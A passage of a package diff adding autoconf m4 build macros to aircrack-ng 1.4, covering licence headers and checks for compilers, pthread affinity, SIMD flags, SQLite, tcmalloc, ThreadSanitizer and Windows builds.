+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_PROG_CC],[
+dnl
+dnl Require a C compiler, while working around a known problem of
+dnl Autoconf including the GCC flags '-g -O2'.
+dnl
+saved_cflags="$CFLAGS"
+AC_PROG_CC
+CFLAGS="$saved_cflags"
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_prog_cxx.m4 Added

@@ -0,0 +1,48 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_PROG_CXX],[
+dnl
+dnl Require a C compiler, while working around a known problem of
+dnl Autoconf including the GCC flags '-g -O2'.
+dnl
+saved_cxxflags="$CXXFLAGS"
+AC_PROG_CXX
+CXXFLAGS="$saved_cxxflags"
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_pthread.m4 Added

@@ -0,0 +1,82 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2018 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_PTHREAD], [
+
+AX_PTHREAD([
+    AC_CHECK_LIB([pthread], [pthread_create], [ PTHREAD_LIBS="-lpthread" ])
+    AC_DEFINE([_REENTRANT])
+])
+
+AC_MSG_CHECKING([for pthread_setaffinity_np])
+AS_VAR_PUSHDEF([FLAGS],[_AC_LANG_PREFIX[]FLAGS])dnl
+ac_save_[]FLAGS="$[]FLAGS"
+ac_save_LDFLAGS="$LDFLAGS"
+FLAGS="$ac_save_[]FLAGS -pthread"
+LDFLAGS="$LDFLAGS $PTHREAD_LIBS -pthread"
+# Check for pthread_{,attr_}[sg]etaffinity_np.
+AC_LINK_IFELSE([
+	AC_LANG_PROGRAM([
+		#define _GNU_SOURCE
+   		#include <pthread.h>
+   	], [
+   		cpu_set_t cpuset;
+   		pthread_attr_t attr;
+   		pthread_getaffinity_np (pthread_self (), sizeof (cpu_set_t), &cpuset);
+   		if (CPU_ISSET (0, &cpuset))
+     		CPU_SET (1, &cpuset);
+   		else
+     		CPU_ZERO (&cpuset);
+   		pthread_setaffinity_np (pthread_self (), sizeof (cpu_set_t), &cpuset);
+   		pthread_attr_init (&attr);
+   		pthread_attr_getaffinity_np (&attr, sizeof (cpu_set_t), &cpuset);
+   		pthread_attr_setaffinity_np (&attr, sizeof (cpu_set_t), &cpuset);
+   	])
+], [
+	AC_MSG_RESULT([yes])
+	AC_DEFINE(HAVE_PTHREAD_AFFINITY_NP, 1,
+		[Define if pthread_{,attr_}{g,s}etaffinity_np is supported.])
+], [
+	AC_MSG_RESULT([no])
+])
+LDFLAGS="$ac_save_LDFLAGS"
+FLAGS="$ac_save_[]FLAGS"
+AS_VAR_POPDEF([FLAGS])dnl
+
+])
\ No newline at end of file

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_revision.m4 Added

@@ -0,0 +1,45 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_REVISION], [
+AC_ARG_VAR([_REVISION], [specifies the Aircrack-ng revision number])
+AC_DEFINE([_REVISION],
+    m4_translit(m4_esyscmd([./evalrev . quoted]),m4_newline),
+    [specifies the Aircrack-ng revision number, [default auto-detects]])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_rfkill.m4 Added

@@ -0,0 +1,45 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_RFKILL],[
+AC_ARG_VAR([RFKILL],[Use this rfkill tool.])
+dnl Allow env override but do not be fooled by 'ETHTOOL=t'.
+test t = "$RFKILL" && unset RFKILL
+AC_CHECK_PROG([RFKILL], [rfkill], [$as_dir/$ac_word$ac_exec_ext], [], [$RFKILL_PATH$PATH_SEPARATOR$PATH$PATH_SEPARATOR/sbin$PATH_SEPARATOR/usr/sbin$PATH_SEPARATOR/usr/local/sbin])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_simd.m4 Added

@@ -0,0 +1,277 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_SIMD], [
+AX_REQUIRE_DEFINED([AX_COMPILER_VENDOR])
+AX_REQUIRE_DEFINED([AX_COMPILER_VERSION])
+AX_REQUIRE_DEFINED([AX_CHECK_COMPILE_FLAG])
+AX_REQUIRE_DEFINED([AX_APPEND_FLAG])
+
+AX_COMPILER_VENDOR
+AX_COMPILER_VERSION
+
+OPENBSD=0
+IS_X86=0
+IS_ARM=0
+IS_PPC=0
+IS_CROSS=0
+
+if test "$cross_compiling" != yes
+then
+    IS_CROSS=0
+else
+    IS_CROSS=1
+fi
+
+case "$host_cpu" in
+    x86_64 | amd64 | i*86*)
+        IS_X86=1
+        ;;
+    *arm* | *aarch64*)
+        IS_ARM=1
+        ;;
+    *mips*)
+        IS_MIPS=1
+        ;;
+    powerpc*)
+        IS_PPC=1
+        ;;
+esac
+
+case "$host_os" in
+    *openbsd* | *OpenBSD*)
+        OPENBSD=1
+        ;;
+esac
+
+AS_IF([test $OPENBSD -eq 0], [
+    AC_LANG_CASE([C++], [
+        AX_CHECK_COMPILE_FLAG([-masm=intel], [
+            AX_APPEND_FLAG(-masm=intel, [opt_cxxflags])
+            AC_DEFINE([INTEL_ASM], [1], [Define if Intel assembly style is supported])
+        ])
+    ])
+])
+
+if test $IS_ARM -eq 1
+then
+    AX_CHECK_COMPILE_FLAG([-Werror -mfpu=neon], [
+        AX_APPEND_FLAG(-mfpu=neon, [arm_neon_[]_AC_LANG_ABBREV[]flags])
+        AC_SUBST(arm_neon_[]_AC_LANG_ABBREV[]flags)
+    ])
+
+    AS_VAR_PUSHDEF([CACHEVAR], [ax_cv_neon_[]_AC_LANG_ABBREV[]flags])
+    AC_CACHE_CHECK([whether _AC_LANG compiler supports NEON instructions], CACHEVAR, [
+        ax_check_save_flags=$[]_AC_LANG_PREFIX[]FLAGS
+        _AC_LANG_PREFIX[]FLAGS="$arm_neon_[]_AC_LANG_ABBREV[]flags $[]_AC_LANG_PREFIX[]FLAGS"
+        AC_COMPILE_IFELSE([AC_LANG_SOURCE([[
+#if !defined(__ARM_NEON) && !defined(__ARM_NEON__) && !defined(__aarch64) && !defined(__aarch64__)
+#error macro not defined
+#endif
+        ]])], [AS_VAR_SET(CACHEVAR,[yes])], [AS_VAR_SET(CACHEVAR,[no])])
+        _AC_LANG_PREFIX[]FLAGS=$ax_check_save_flags
+    ])
+    AS_IF([test x"AS_VAR_GET(CACHEVAR)" = xyes],
+        [NEON_FOUND=1], [NEON_FOUND=0])
+    AS_VAR_POPDEF([CACHEVAR])
+fi
+
+if test $IS_PPC -eq 1
+then
+    AX_CHECK_COMPILE_FLAG([-finline-functions], [
+        AX_APPEND_FLAG(-finline-functions, [ppc_altivec_[]_AC_LANG_ABBREV[]flags])
+        AC_SUBST(ppc_altivec_[]_AC_LANG_ABBREV[]flags)
+    ])
+
+    AX_CHECK_COMPILE_FLAG([-finline-limit=4000], [
+        AX_APPEND_FLAG(-finline-limit=4000, [ppc_altivec_[]_AC_LANG_ABBREV[]flags])
+        AC_SUBST(ppc_altivec_[]_AC_LANG_ABBREV[]flags)
+    ])
+
+    AX_CHECK_COMPILE_FLAG([-fno-strict-aliasing], [
+        AX_APPEND_FLAG(-fno-strict-aliasing, [ppc_altivec_[]_AC_LANG_ABBREV[]flags])
+        AC_SUBST(ppc_altivec_[]_AC_LANG_ABBREV[]flags)
+    ])
+
+    AX_CHECK_COMPILE_FLAG([-maltivec], [
+        AX_APPEND_FLAG(-maltivec, [ppc_altivec_[]_AC_LANG_ABBREV[]flags])
+        AC_SUBST(ppc_altivec_[]_AC_LANG_ABBREV[]flags)
+        ALTIVEC_FOUND=1
+    ])
+
+    AX_CHECK_COMPILE_FLAG([-mabi=altivec], [
+        AX_APPEND_FLAG(-mabi=altivec, [ppc_altivec_[]_AC_LANG_ABBREV[]flags])
+        AC_SUBST(ppc_altivec_[]_AC_LANG_ABBREV[]flags)
+    ])
+
+    AX_CHECK_COMPILE_FLAG([-mvsx], [
+        AX_APPEND_FLAG(-mvsx, [ppc_altivec_[]_AC_LANG_ABBREV[]flags])
+        AC_SUBST(ppc_altivec_[]_AC_LANG_ABBREV[]flags)
+    ])
+
+    AX_CHECK_COMPILE_FLAG([-mpower8-vector], [
+        AX_APPEND_FLAG(-mpower8-vector, [ppc_altivec_[]_AC_LANG_ABBREV[]flags])
+        AC_SUBST(ppc_altivec_[]_AC_LANG_ABBREV[]flags)
+        POWER8_FOUND=1
+    ])
+fi
+
+if test $IS_X86 -eq 0
+then
+    AC_CHECK_HEADERS([sys/auxv.h], [
+        AC_DEFINE([HAS_AUXV], [1], [Define if your system has sys/auxv.h header])
+    ])
+fi
+
+AC_ARG_WITH(cacheline-size,
+    [AS_HELP_STRING([--with-cacheline-size=[width]], [use specific CPU L1 cache-line size, in bytes. [default=64]])])
+
+case $with_cacheline_size in
+    no | "") CACHELINE_SIZE=64;;
+    *)       CACHELINE_SIZE=$with_cacheline_size;;
+esac
+AC_SUBST([CACHELINE_SIZE])
+
+AC_DEFINE_UNQUOTED([CACHELINE_SIZE], [$CACHELINE_SIZE], [Define to set the specific CPU L1 cache-line size, in bytes.])
+
+AC_ARG_WITH(static-simd,
+    [AS_HELP_STRING([--with-static-simd[[=x86-sse2|x86-avx|x86-avx2|x86-avx512|ppc-altivec|ppc-power8|arm-neon|arm-asimd]], [use specific SIMD implementation at static link, [default=none]]])])
+
+case $with_static_simd in
+    no | "")
+        ;;
+    x86-sse2|x86-avx|x86-avx2|x86-avx512|ppc-altivec|ppc-power8|arm-neon|arm-asimd)
+        SIMD_SUFFIX=_$(echo $with_static_simd | tr '[a-z]' '[A-Z]' | tr '-' '_')
+        AC_SUBST([SIMD_SUFFIX])
+
+        case "$enable_static,$enable_shared" in
+            "yes,yes" | "no,yes" | "no,no" )
+                AC_MSG_ERROR([The --with-static-simd option is only valid with static builds.])
+                ;;
+        esac
+        ;;
+    *)
+        AC_MSG_ERROR([Invalid SIMD given to --with-static-simd option.])
+        ;;
+esac
+
+AC_ARG_WITH(avx512,
+    [AS_HELP_STRING([--with-avx512[[=yes|no]]], [use AVX-512F instruction set, [default=no]])])
+
+if test $IS_X86 -eq 1
+then
+	case $with_avx512 in
+		yes)
+			case "$ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor" in
+				intel)
+					AX_APPEND_FLAG(-march=skylake-avx512, [x86_avx512_[]_AC_LANG_ABBREV[]flags])
+					AC_SUBST(x86_avx512_[]_AC_LANG_ABBREV[]flags)
+					AVX512F_FOUND=1
+					AC_SUBST([AVX512F_FOUND], [1], [Define if your system supports AVX-512F])
+					;;
+				*)
+					AX_CHECK_COMPILE_FLAG([-mavx512f], [
+						AX_APPEND_FLAG(-mavx512f, [x86_avx512_[]_AC_LANG_ABBREV[]flags])
+						AC_SUBST(x86_avx512_[]_AC_LANG_ABBREV[]flags)
+						AVX512F_FOUND=1
+						AC_SUBST([AVX512F_FOUND], [1], [Define if your system supports AVX-512F])
+					])
+					;;
+			esac
+			;;
+	esac
+
+    case "$ax_cv_[]_AC_LANG_ABBREV[]_compiler_vendor" in
+        intel)
+            AX_APPEND_FLAG(-march=core-avx2, [x86_avx2_[]_AC_LANG_ABBREV[]flags])
+            AC_SUBST(x86_avx2_[]_AC_LANG_ABBREV[]flags)
+
+            AX_APPEND_FLAG(-march=corei7-avx, [x86_avx_[]_AC_LANG_ABBREV[]flags])
+            AC_SUBST(x86_avx_[]_AC_LANG_ABBREV[]flags)
+
+            AX_APPEND_FLAG(-march=corei7, [x86_sse2_[]_AC_LANG_ABBREV[]flags])
+            AC_SUBST(x86_sse2_[]_AC_LANG_ABBREV[]flags)
+
+            AX_APPEND_FLAG(-march=pentiumii, [x86_mmx_[]_AC_LANG_ABBREV[]flags])
+            AC_SUBST(x86_mmx_[]_AC_LANG_ABBREV[]flags)
+            ;;
+        *)
+            AX_CHECK_COMPILE_FLAG([-mavx2], [
+                AX_APPEND_FLAG(-mavx2, [x86_avx2_[]_AC_LANG_ABBREV[]flags])
+                AC_SUBST(x86_avx2_[]_AC_LANG_ABBREV[]flags)
+            ])
+
+            AX_CHECK_COMPILE_FLAG([-mavx], [
+                AX_APPEND_FLAG(-mavx, [x86_avx_[]_AC_LANG_ABBREV[]flags])
+                AC_SUBST(x86_avx_[]_AC_LANG_ABBREV[]flags)
+            ])
+
+            AX_CHECK_COMPILE_FLAG([-msse2], [
+                AX_APPEND_FLAG(-msse2, [x86_sse2_[]_AC_LANG_ABBREV[]flags])
+                AC_SUBST(x86_sse2_[]_AC_LANG_ABBREV[]flags)
+            ])
+
+            AX_CHECK_COMPILE_FLAG([-mmmx], [
+                AX_APPEND_FLAG(-mmmx, [x86_mmx_[]_AC_LANG_ABBREV[]flags])
+                AC_SUBST(x86_mmx_[]_AC_LANG_ABBREV[]flags)
+            ])
+            ;;
+    esac
+fi
+
+AM_CONDITIONAL([X86], [test "$IS_X86" = 1])
+AM_CONDITIONAL([ARM], [test "$IS_ARM" = 1])
+AM_CONDITIONAL([PPC], [test "$IS_PPC" = 1])
+AM_CONDITIONAL([NEON], [test "$NEON_FOUND" = 1])
+AM_CONDITIONAL([AVX512F], [test "$AVX512F_FOUND" = 1])
+AM_CONDITIONAL([ALTIVEC], [test "$ALTIVEC_FOUND" = 1])
+AM_CONDITIONAL([POWER8], [test "$POWER8_FOUND" = 1])
+])
+
+AC_DEFUN([AIRCRACK_NG_SIMD_C], [
+AC_LANG_PUSH([C])
+AIRCRACK_NG_SIMD
+AC_LANG_POP([C])
+])
+
+AC_DEFUN([AIRCRACK_NG_SIMD_CXX], [
+AC_LANG_PUSH([C++])
+AIRCRACK_NG_SIMD
+AC_LANG_POP([C++])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_sqlite.m4 Added

@@ -0,0 +1,64 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_SQLITE],[
+
+AC_ARG_ENABLE(static-sqlite3,
+    AS_HELP_STRING([--enable-static-sqlite3],
+		[Enable statically linked SQLite3 libsqlite3.]),
+    [static_sqlite3=$enableval], [static_sqlite3=no])
+
+if test "x$static_sqlite3" != "xno"; then
+	AX_EXT_HAVE_STATIC_LIB(SQLITE3, DEFAULT_STATIC_LIB_SEARCH_PATHS, sqlite3 libsqlite3, sqlite3_open, -lpthread -ldl)
+	if test "x$SQLITE3_FOUND" = xyes; then
+		HAVE_SQLITE3=yes
+	fi
+else
+	AX_LIB_SQLITE3
+fi
+
+if test x"$HAVE_SQLITE3" = xyes; then
+    AC_DEFINE([HAVE_SQLITE], [1], [Define if you have sqlite3])
+    HAVE_SQLITE3=yes
+else
+    HAVE_SQLITE3=no
+fi
+
+AM_CONDITIONAL([HAVE_SQLITE3], [test "$HAVE_SQLITE3" = yes])
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_tcmalloc.m4 Added

@@ -0,0 +1,70 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2018 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_TCMALLOC], [
+AX_REQUIRE_DEFINED([AX_COMPILER_VENDOR])
+AX_REQUIRE_DEFINED([AC_CHECK_LIB])
+
+AX_COMPILER_VENDOR
+
+AC_ARG_WITH(tcmalloc,
+    [AS_HELP_STRING([--with-tcmalloc[[=yes|no]]], [use tcmalloc library, [default=no]])])
+
+case $with_tcmalloc in
+    yes)
+        AC_CHECK_LIB([tcmalloc], [TCMallocGetenvSafe], [
+            LIBS="$LIBS -ltcmalloc"
+            TCMALLOC=yes
+        ],[ TCMALLOC=no ])
+        ;;
+    *)
+        TCMALLOC=no
+        ;;
+esac
+
+case "$ax_cv_c_compiler_vendor" in
+    clang|gnu)
+        if test "$TCMALLOC" = yes; then
+            CFLAGS="$CFLAGS -fno-builtin-malloc -fno-builtin-calloc -fno-builtin-realloc -fno-builtin-free"
+            CXXFLAGS="$CXXFLAGS -fno-builtin-malloc -fno-builtin-calloc -fno-builtin-realloc -fno-builtin-free"
+        fi
+        ;;
+esac
+
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_tsan.m4 Added

@@ -0,0 +1,54 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2018 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_TSAN], [
+AC_ARG_ENABLE(tsan,
+    AS_HELP_STRING([--enable-tsan],
+        [Enable ThreadSanitizer (TSAN)]),
+    [tsan=$enableval], [tsan=no])
+
+if test "x$tsan" != "xno"; then
+    # Assume both C and C++ compiler either support TSAN or not.
+    LDFLAGS_saved="$LDFLAGS"
+    LDFLAGS="$LDFLAGS -fsanitize=thread"
+    AX_CHECK_COMPILE_FLAG([-fsanitize=thread],
+        [CFLAGS="$CFLAGS -fsanitize=thread"; CXXFLAGS="$CXXFLAGS -fsanitize=thread"],
+        [LDFLAGS="$LDFLAGS_saved"])
+fi
+])

aircrack-ng-1.4.tar.gz/build/m4/aircrack_ng_windows.m4 Added

@@ -0,0 +1,76 @@
+dnl Aircrack-ng
+dnl
+dnl Copyright (C) 2017 Joseph Benden <joe@benden.us>
+dnl
+dnl Autotool support was written by: Joseph Benden <joe@benden.us>
+dnl
+dnl This program is free software; you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+dnl GNU General Public License for more details.
+dnl
+dnl You should have received a copy of the GNU General Public License
+dnl along with this program; if not, write to the Free Software
+dnl Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+dnl
+dnl In addition, as a special exception, the copyright holders give
+dnl permission to link the code of portions of this program with the
+dnl OpenSSL library under certain conditions as described in each
+dnl individual source file, and distribute linked combinations
+dnl including the two.
+dnl
+dnl You must obey the GNU General Public License in all respects
+dnl for all of the code used other than OpenSSL.
+dnl
+dnl If you modify file(s) with this exception, you may extend this
+dnl exception to your dnl version of the file(s), but you are not obligated
+dnl to do so.
+dnl
+dnl If you dnl do not wish to do so, delete this exception statement from your
+dnl version.
+dnl
+dnl If you delete this exception statement from all source files in the
+dnl program, then also delete it here.
+
+AC_DEFUN([AIRCRACK_NG_WINDOWS],[
+AX_REQUIRE_DEFINED([AC_CHECK_HEADER])[]dnl
+AX_REQUIRE_DEFINED([AX_COMPILER_VENDOR])dnl
+
+AC_ARG_ENABLE(win32-portable,
+    AS_HELP_STRING([--enable-win32-portable],
+        [Enable portable WIN32 edition]),
+    [
+        AC_DEFINE([WIN32_PORTABLE], [1], [Define if portable WIN32 is supported])
+    ], [])
+
+case "$host_os" in
+    CYGWIN*|MSYS*|cygwin*|msys*)
+        AC_CHECK_FILE(/usr/include/w32api/windows.h, [ CPPFLAGS="$CPPFLAGS -I/usr/include/w32api" ], [])
+        AC_CHECK_LIB(w32api, WinMain, [ LIBS="$LIBS -lw32api" ])
+        AC_CHECK_HEADER(windows.h, [], [AC_MSG_ERROR([windows.h was not found])])
+        CPPFLAGS="$CPPFLAGS -DCYGWIN"
